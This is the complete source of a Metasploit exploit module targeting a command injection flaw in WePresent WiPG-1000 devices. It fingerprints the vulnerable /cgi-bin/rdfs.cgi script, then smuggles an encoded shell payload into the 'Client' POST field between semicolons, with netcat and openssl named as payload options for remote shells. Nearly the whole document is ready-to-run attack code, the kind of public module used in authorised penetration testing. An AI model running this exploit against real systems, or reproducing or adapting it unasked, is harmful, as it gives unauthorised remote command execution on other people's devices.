WePresent WiPG-1000 Command Injection

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'WePresent WiPG-1000 Command Injection',  
'Description' => %q{  
This module exploits a command injection vulnerability in an undocumented  
CGI file in several versions of the WePresent WiPG-1000 devices.  
Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Matthias Brun', # Vulnerability Discovery, Metasploit Module  
],  
'References' =>  
[  
[ 'URL', 'https://www.redguard.ch/advisories/wepresent-wipg1000.txt' ]  
],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic netcat openssl'  
}  
},  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['WiPG-1000 <=2.0.0.7', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 20 2017',  
'DefaultTarget' => 0))  
end  
  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('/cgi-bin/rdfs.cgi')  
})  
if res and res.body =~ /Follow administrator instructions to enter the complete path/ then  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status('Sending request')  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri('/cgi-bin/rdfs.cgi'),  
'vars_post' => {  
'Client' => ";#{payload.encoded};",  
'Download' => 'Download'  
}  
)  
end  
  
end  
`